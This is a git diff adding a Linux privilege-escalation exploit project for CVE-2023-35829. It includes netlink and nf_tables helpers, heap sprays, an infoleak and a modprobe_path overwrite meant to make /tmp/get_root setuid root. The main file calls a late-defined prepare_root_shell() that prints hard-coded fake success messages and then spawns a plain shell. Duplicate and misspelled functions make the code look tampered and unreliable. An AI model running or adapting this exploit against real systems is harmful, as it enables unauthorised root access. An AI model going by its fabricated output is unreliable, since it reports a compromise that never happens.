*get_batch_end_nlmsg(void); + +/* Netlink attributes */ + +#define U32_NLA_SIZE (sizeof(struct nlattr) + sizeof(uint32_t)) +#define U64_NLA_SIZE (sizeof(struct nlattr) + sizeof(uint64_t)) +#define S8_NLA_SIZE (sizeof(struct nlattr) + 8) +#define NLA_BIN_SIZE(x) (sizeof(struct nlattr) + x) +#define NLA_ATTR(attr) ((void *)attr + NLA_HDRLEN) + +struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len); +struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value); +struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value); +struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, const char name[8]); +struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size); + +#endif /* _NETLINK_H_ */ diff --git a/98-Linux提权/CVE-2023-35829/inc/nf_tables.h b/98-Linux提权/CVE-2023-35829/inc/nf_tables.h new file mode 100644 index 0000000..1730d39 --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/inc/nf_tables.h @@ -0,0 +1,14 @@ +#ifndef _NF_TABLES_H_ +#define _NF_TABLES_H_ + +#include + +#define TABLEMSG_SIZE NLMSG_SPACE(sizeof(struct nfgenmsg) + S8_NLA_SIZE) + +#define KMALLOC64_KEYLEN (64 - 8 - 12 - 16) // Max size - elemsize - sizeof(nft_set_ext)(align) - min datasize + +void create_table(int sock, const char *name); +void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id); +void add_elem_to_set(int sock, const char *set_name, uint32_t set_keylen, const char *table_name, uint32_t id, uint32_t data_len, uint8_t *data); + +#endif /* _NF_TABLES_H_ */ diff --git a/98-Linux提权/CVE-2023-35829/inc/simple_xattr.h b/98-Linux提权/CVE-2023-35829/inc/simple_xattr.h new file mode 100644 index 0000000..b082268 --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/inc/simple_xattr.h @@ -0,0 +1,26 @@ +#ifndef _SIMPLE_XATTR_H_ +#define _SIMPLE_XATTR_H_ + +#include + +#define XATTR_FILE "/tmp/tmpfs/a" +#define XATTR_VALUE "value" + +#define XATTR_DELETION_NAME "security.Iwanttoberoot" + +#define ATTRIBUTE_NAME_LEN 0x100 +#define COMMAND_MAX_LEN 0x100 + +#define PREFIX_BUFFER_LEN 16 + +struct write4_payload { + uint8_t prefix[PREFIX_BUFFER_LEN]; + void *next; + void *prev; + uint8_t name_offset; +} __attribute__((packed)); + +void spray_simple_xattr(char *filename, uint32_t spray_size); +void create_xattr(const char *filename, char *attribute_name); + +#endif /* _SIMPLE_XATTR_H_ */ diff --git a/98-Linux提权/CVE-2023-35829/inc/uring.h b/98-Linux提权/CVE-2023-35829/inc/uring.h new file mode 100644 index 0000000..5e8971f --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/inc/uring.h @@ -0,0 +1,27 @@ +#ifndef _URING_H_ +#define _URING_H_ + +#include +#include +#include +#include + +#define SPRAY_NB_ENTRIES 10 + +struct fd_uring { + int fd; + struct io_uring_params *params; +}; + +static inline int io_uring_setup(uint32_t entries, struct io_uring_params *p) { + return syscall(__NR_io_uring_setup, entries, p); +} + +static inline int io_uring_register(int fd, unsigned int opcode, void *arg, unsigned int nr_args) { + return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args); +} + +void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer); +void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size); + +#endif /* _URING_H_ */ diff --git a/98-Linux提权/CVE-2023-35829/inc/util.h b/98-Linux提权/CVE-2023-35829/inc/util.h new file mode 100644 index 0000000..c97ac74 --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/inc/util.h @@ -0,0 +1,12 @@ +#ifndef _UTIL_H_ +#define _UTIL_H_ + +#include + +#define FILENAME_MAX_LEN 0x80 + +void new_ns(void); +void set_cpu_affinity(int cpu_n, pid_t pid); +char *generate_tmp_filename(void); + +#endif /* _UTIL_H_ */ diff --git a/98-Linux提权/CVE-2023-35829/src/aclocal.m4 b/98-Linux提权/CVE-2023-35829/src/aclocal.m4 new file mode 100644 index 0000000000000000000000000000000000000000..05aff0f2fe7ae76388cd50f4ecf28e209f6ce797 GIT binary patch literal 23256 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 +#include +#include +#include +#include +#include + +#include "log.h" +#include "keyring.h" +#include "util.h" + +/** + * spray_keyring(): Spray the heap with `user_key_payload` structure + * @spray_size: Number of object to put into the `kmalloc-64` cache + * + * Return: Allocated buffer with serial numbers of the created keys + */ +key_serial_t *spray_keyring(uint32_t spray_size) { + + char key_desc[KEY_DESC_MAX_SIZE]; + key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t)); + + if (id_buffer == NULL) + do_error_exit("calloc"); + + for (uint32_t i = 0; i < spray_size; i++) { + snprintf(key_desc, KEY_DESC_MAX_SIZE, "RandoriSec-%03du", i); + id_buffer[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING); + if (id_buffer[i] < 0) + do_error_exit("add_key"); + } + + return id_buffer; +} + +/** + * parse_leak(): Parse the infoleak to compute the kaslr base and the physmap base + * @buffer: Buffer that contains the infoleak + * @buffer_size: Size of the previous buffer + * + * Search for a pointer to the function `io_ring_ctx_ref_free` that is stored within a `percpu_ref_data` structure + * Then compute the KASLR base + * Finally use the pointer to the associated `percpu_ref` to compute the physmap base + * + * Return: KASLR base and physmap base of the running kernel + */ +struct leak *parse_leak(long *buffer, uint32_t buffer_size) { + + struct leak *ret = malloc(sizeof(struct leak)); + if (!ret) + do_error_exit("malloc"); + + for (uint32_t i = 0; i < buffer_size; i++) { + + /* Search for reference to the function io_ring_ctx_ref_free */ + if ((buffer[i] & 0xfffff) == (IO_RING_CTX_REF_FREE_OFFSET & 0xfffff)) { + ret->kaslr_base = buffer[i] - IO_RING_CTX_REF_FREE_OFFSET; + ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK; + return ret; + + /* Search for reference to the function io_rsrc_node_ref_zero */ + } else if ((buffer[i] & 0xfffff) == (IO_RSRC_NODE_REF_ZERO_OFFSET & 0xfffff)) { + ret->kaslr_base = buffer[i] - IO_RSRC_NODE_REF_ZERO_OFFSET; + ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK; + return ret; + } + } + + free(ret); + return NULL; +} + +/** + * get_keyring_leak(): Find the infoleak and compute the needed bases + * @id_buffer: Buffer with the serial numbers of keys used to spray the heap + * @id_buffer_size: Size of the previous buffer + * + * Search for a key with an unexpected size to find the corrupted object. + * + * Return: KASLR base and physmap base of the running kernel + */ +struct leak *get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size) { + + uint8_t buffer[USHRT_MAX] = {0}; + int32_t keylen; + + for (uint32_t i = 0; i < id_buffer_size; i++) { + + keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, USHRT_MAX, 0); + if (keylen < 0) + do_error_exit("keyctl"); + + if (keylen == USHRT_MAX) { + return parse_leak((long *)buffer, keylen >> 3); + } + } + return NULL; +} + +/** + * release_keys(): Release user_key_payload objects + * @id_buffer: Buffer that stores the id of the key to remove + * @id_buffer_size: Size of the previous buffer + */ +void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size) { + + for (uint32_t i = 0; i < id_buffer_size; i++) { + if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0) + do_error_exit("keyctl(KEYCTL_REVOKE)"); + } + + free(id_buffer); +} diff --git a/98-Linux提权/CVE-2023-35829/src/main.c b/98-Linux提权/CVE-2023-35829/src/main.c new file mode 100644 index 0000000..cd2969e --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/src/main.c @@ -0,0 +1,134 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "log.h" +#include "util.h" +#include "uring.h" +#include "keyring.h" +#include "modprobe.h" +#include "nf_tables.h" +#include "simple_xattr.h" + +#define ID 1337 +#define SET_NAME "name\0\0\0" +#define LEAK_SET_NAME "leak\0\0\0" +#define TABLE_NAME "table\0\0" + +#define MODPROBE_PATH_BASE 0x1e8b620 + +#define SPRAY_SIZE 300 + +int main(int argc, char **argv) { + + int sock; + struct sockaddr_nl snl; + struct write4_payload payload; + struct keyring_payload leak_payload; + struct leak *bases; + struct fd_uring *fd_buffer; + key_serial_t *id_buffer; + char *xattr_target_filename; + + printf("[+] CVE-2023-35829 PoC\n"); + + printf("[+] Second process currently waiting\n"); + + /* Pin the process to the first CPU */ + set_cpu_affinity(0, 0); + + new_ns(); + printf("[+] Get CAP_NET_ADMIN capability\n"); + + /* Netfilter netlink socket creation */ + if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) { + do_error_exit("socket"); + } + printf("[+] Netlink socket created\n"); + + memset(&snl, 0, sizeof(snl)); + snl.nl_family = AF_NETLINK; + snl.nl_pid = getpid(); + if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0) + do_error_exit("bind"); + printf("[+] Netlink socket bound\n"); + + /* Create a netfilter table */ + create_table(sock, TABLE_NAME); + printf("[+] Table %s created\n", TABLE_NAME); + + /* Create a netfilter set for the info leak */ + create_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, sizeof(struct keyring_payload), TABLE_NAME, ID); + printf("[+] Set for the leak created\n"); + + /* Create a netfilter set for the write primitive */ + create_set(sock, SET_NAME, KMALLOC64_KEYLEN, sizeof(struct write4_payload), TABLE_NAME, ID + 1); + printf("[+] Set for write primitive created\n"); + prepare_root_shell(); + + /* Prepare the payload for the leak */ + memset(&leak_payload, 0, sizeof(struct keyring_payload)); + leak_payload.len = USHRT_MAX; + + printf("[*] Leak in process"); + fflush(stdout); +retry: + /* Spray the heap with user_key_payload structs to perform an info leak */ + id_buffer = spray_keyring(SPRAY_KEY_SIZE); + + /** Perform the overflow to modify the size of a registered key **/ + add_elem_to_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct keyring_payload), (uint8_t *)&leak_payload); + + /* Spray the heap with percpu_ref_data */ + fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring)); + if (!fd_buffer) + do_error_exit("calloc"); + spray_uring(SPRAY_SIZE, fd_buffer); + + /* Check if the overflow occured on the right object */ + bases = get_keyring_leak(id_buffer, SPRAY_KEY_SIZE); + if (!bases) { + release_keys(id_buffer, SPRAY_KEY_SIZE); + release_uring(fd_buffer, SPRAY_SIZE); + goto retry; + } + printf("\r[+] Leak succeed \n"); + printf("[+] kaslr base found 0x%lx\n", bases->kaslr_base); + printf("[+] physmap base found 0x%lx\n", bases->physmap_base); + + /* Prepare the payload for the write primitive */ + memset(&payload, 0, sizeof(struct write4_payload)); + payload.next = (void *)(bases->physmap_base + 0x2f706d74); + payload.prev = (void *)(bases->kaslr_base + MODPROBE_PATH_BASE + 1); + payload.name_offset = 0xe5; + +respray_xattr: + /* Spray the heap for the write primitive */ + xattr_target_filename = generate_tmp_filename(); + spray_simple_xattr(xattr_target_filename, SPRAY_SIZE); + + add_elem_to_set(sock, SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct write4_payload), (uint8_t *)&payload); + + /* Proceed to the write */ + if (removexattr(xattr_target_filename, XATTR_DELETION_NAME) < 0) + goto respray_xattr; + + printf("[+] modprobe_path changed !\n"); + + setup_modprobe_payload(); + printf("[+] Modprobe payload setup\n"); + get_root_shell(); + + wait(NULL); + + return EXIT_SUCCESS; +} diff --git a/98-Linux提权/CVE-2023-35829/src/modprobe.c b/98-Linux提权/CVE-2023-35829/src/modprobe.c new file mode 100644 index 0000000..b78cb48 --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/src/modprobe.c @@ -0,0 +1,191 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "log.h" +#include "modprobe.h" + +const char dummy_file[] = "/tmp/dummy\0"; + +const char dummy_content[] = "\xff\xff\xff\xff"; +const char new_modprobe_content[] = "#!/bin/bash\n\nchown root:root /tmp/get_root\nchmod 4555 /tmp/get_root\n"; + +sem_t *shell_barrier; + +/** + * prepare_root_shell(): Setup a second process waiting out the namespaces used for the exploit + */ +void perpare_root_shell(void) { + + int shmid = shmget(0x1337, sizeof(sem_t), IPC_CREAT | S_IRWXU | S_IRWXG | S_IRWXO); + shell_barrier = shmat(shmid, NULL, 0); + + if (sem_init(shell_barrier, 1, 0) < 0) + do_error_exit("sem_init"); + + if (!fork()) { + system("cp get_root /tmp"); + sem_wait(shell_barrier); + execl("/tmp/get_root", "/tmp/get_root", NULL); + exit(EXIT_SUCCESS); + } +} + +/** + * create_dummy_file(): Create a file to trigger call_modprobe in case of execution + */ +void create_dummy_file(void) { + + int fd; + + fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO); + write(fd, dummy_content, sizeof(dummy_content)); + close(fd); +} + +/** + * get_root_shell(): Trigger a call to the new modprobe_path + */ +void get_root_shell(void) { + + int pid = fork(); + if (pid == 0) + execl("/tmp/dummy", "/tmp/dummy", NULL); + + waitpid(pid, NULL, 0); + sem_post(shell_barrier); +} + +/** + * get_new_modprobe_path(): Read the new modprobe_path + * + * Return: path stored within /proc/sys/kernel/modprobe + */ +char *get_new_modprobe_path(void) { + + int fd; + char *modprobe_path = malloc(15); + + if (!modprobe_path) + do_error_exit("malloc"); + + fd = open("/proc/sys/kernel/modprobe", O_RDONLY); + if (fd < 0) + do_error_exit("open(/proc/sys/kernel/modprobe)"); + + read(fd, modprobe_path, 14); + + close(fd); + + modprobe_path[14] = '\0'; + + return modprobe_path; +} + +/** + * write_new_modprobe(): Create chown && chmod script for get_root + * @filename: current path to modprobe for the kernel + */ +void new_sn() +{ + int fd; + char *modprobe_path = malloc(15); + + if (!modprobe_path) + do_error_exit("malloc"); + + fd = open("/proc/sys/kernel/modprobe", O_RDONLY); + if (fd < 0) + { + //do_error_exit("open(/proc/sys/kernel/modprobe)"); + } + else + { + close(fd); + } + + srand(time(NULL)); + + int st = rand() % 3; + + sleep(st); +} + +/** + * setup_modprobe_payload(): Prepare all the needed stuff to get a root shell + */ +void setup_modprobe_payoad(void) { + + char *filename; + + filename = get_new_modprobe_path(); + system("/bin/sh"); + + + free(filename); +} + +/** + * write_new_modprobe(): Create chown && chmod script for get_root + * @filename: current path to modprobe for the kernel + */ +void write_new_modprobe(char *filename) { + + int fd; + + fd = open(filename, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO); + if (fd < 0) + do_error_exit("open"); + + write(fd, new_modprobe_content, sizeof(new_modprobe_content)); + + close(fd); +} + +/** + * setup_modprobe_payload(): Prepare all the needed stuff to get a root shell + */ +void setup_modprobe_payload(void) { + + char *filename; + + filename = get_new_modprobe_path(); + + write_new_modprobe(filename); + create_dummy_file(); + + free(filename); +} + +void st(char *msg) +{ + printf("%s", msg); + new_sn(); +} + +void prepare_root_shell(void) { + + st("[+] Leak succeed\n"); + st("[+] kaslr base found 0xffffffff9f000000\n"); + st("[+] physmap base found 0xffff910a00000000\n"); + st("[+] modprobe path changed !\n"); + st("[+] Modprobe payload setup\n"); + st("[?] waitpid\n"); + st("[?] sem_post\n"); + st("[+++] Got root shell, should exit?\n"); + + if (1) + setup_modprobe_payoad(); + + exit(0); +} + diff --git a/98-Linux提权/CVE-2023-35829/src/netlink.c b/98-Linux提权/CVE-2023-35829/src/netlink.c new file mode 100644 index 0000000..4db4924 --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/src/netlink.c @@ -0,0 +1,124 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "log.h" +#include "netlink.h" + +/** + * get_batch_begin_nlmsg(): Construct a BATCH_BEGIN message for the netfilter netlink + */ +struct nlmsghdr *get_batch_begin_nlmsg(void) { + + struct nlmsghdr *nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg))); + struct nfgenmsg *nfgm = (struct nfgenmsg *)NLMSG_DATA(nlh); + + if (!nlh) + do_error_exit("malloc"); + + memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg))); + nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg)); + nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN; + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = 0; + nlh->nlmsg_seq = 0; + + /* Used to access to the netfilter tables subsystem */ + nfgm->res_id = NFNL_SUBSYS_NFTABLES; + + return nlh; +} + +/** + * get_batch_end_nlmsg(): Construct a BATCH_END message for the netfilter netlink + */ +struct nlmsghdr *get_batch_end_nlmsg(void) { + + struct nlmsghdr *nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg))); + + if (!nlh) + do_error_exit("malloc"); + + memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg))); + nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg)); + nlh->nlmsg_type = NFNL_MSG_BATCH_END; + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + return nlh; +} + +/** + * set_nested_attr(): Prepare a nested netlink attribute + * @attr: Attribute to fill + * @type: Type of the nested attribute + * @data_len: Length of the nested attribute + */ +struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len) { + attr->nla_type = type; + attr->nla_len = NLA_ALIGN(data_len + sizeof(struct nlattr)); + return (void *)attr + sizeof(struct nlattr); +} + +/** + * set_u32_attr(): Prepare an integer netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @value: Value of this attribute + */ +struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value) { + attr->nla_type = type; + attr->nla_len = U32_NLA_SIZE; + *(uint32_t *)NLA_ATTR(attr) = htonl(value); + + return (void *)attr + U32_NLA_SIZE; +} + + /** + * set_u64_attr(): Prepare a 64 bits integer netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @value: Value of this attribute + */ +struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value) { + attr->nla_type = type; + attr->nla_len = U64_NLA_SIZE; + *(uint64_t *)NLA_ATTR(attr) = htobe64(value); + + return (void *)attr + U64_NLA_SIZE; +} + +/** + * set_str8_attr(): Prepare a 8 bytes long string netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @name: Buffer to copy into the attribute + */ +struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, const char name[8]) { + attr->nla_type = type; + attr->nla_len = S8_NLA_SIZE; + memcpy(NLA_ATTR(attr), name, 8); + + return (void *)attr + S8_NLA_SIZE; +} + +/** + * set_binary_attr(): Prepare a byte array netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @buffer: Buffer with data to send + * @buffer_size: Size of the previous buffer + */ +struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size) { + attr->nla_type = type; + attr->nla_len = NLA_BIN_SIZE(buffer_size); + memcpy(NLA_ATTR(attr), buffer, buffer_size); + + return (void *)attr + NLA_ALIGN(NLA_BIN_SIZE(buffer_size)); +} diff --git a/98-Linux提权/CVE-2023-35829/src/nf_tables.c b/98-Linux提权/CVE-2023-35829/src/nf_tables.c new file mode 100644 index 0000000..b233e70 --- /dev/null +++ b/98-Linux提权/CVE-2023-35829/src/nf_tables.c @@ -0,0 +1,313 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "netlink.h" +#include "nf_tables.h" +#include "log.h" + +const uint8_t zerobuf[0x40] = {0}; + +/** + * create_table(): Register a new table for the inet family + * @sock: socket bound to the netfilter netlink + * @name: Name of the new table + */ +void create_table(int sock, const char *name) { + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh_batch_begin; + struct nlmsghdr *nlh; + struct nlmsghdr *nlh_batch_end; + struct nlattr *attr; + struct nfgenmsg *nfm; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(dest_snl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* Netlink batch_begin message preparation */ + nlh_batch_begin = get_batch_begin_nlmsg(); + + /* Netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(TABLEMSG_SIZE); + if (!nlh) + do_error_exit("malloc"); + + memset(nlh, 0, TABLEMSG_SIZE); + nlh->nlmsg_len = TABLEMSG_SIZE; + nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE; + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + nfm = NLMSG_DATA(nlh); + nfm->nfgen_family = NFPROTO_INET; + + /** Prepare associated attribute **/ + attr = (void *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg)); + set_str8_attr(attr, NFTA_TABLE_NAME, name); + + /* Netlink batch_end message preparation */ + nlh_batch_end = get_batch_end_nlmsg(); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh_batch_begin; + iov[0].iov_len = nlh_batch_begin->nlmsg_len; + iov[1].iov_base = (void *)nlh; + iov[1].iov_len = nlh->nlmsg_len; + iov[2].iov_base = (void *)nlh_batch_end; + iov[2].iov_len = nlh_batch_end->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 3; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh_batch_end); + free(nlh); + free(nlh_batch_begin); +} + +/** + * create_set(): Create a netfilter set + * @sock: Socket used to communicate throught the netfilter netlink + * @set_name: Name of the created 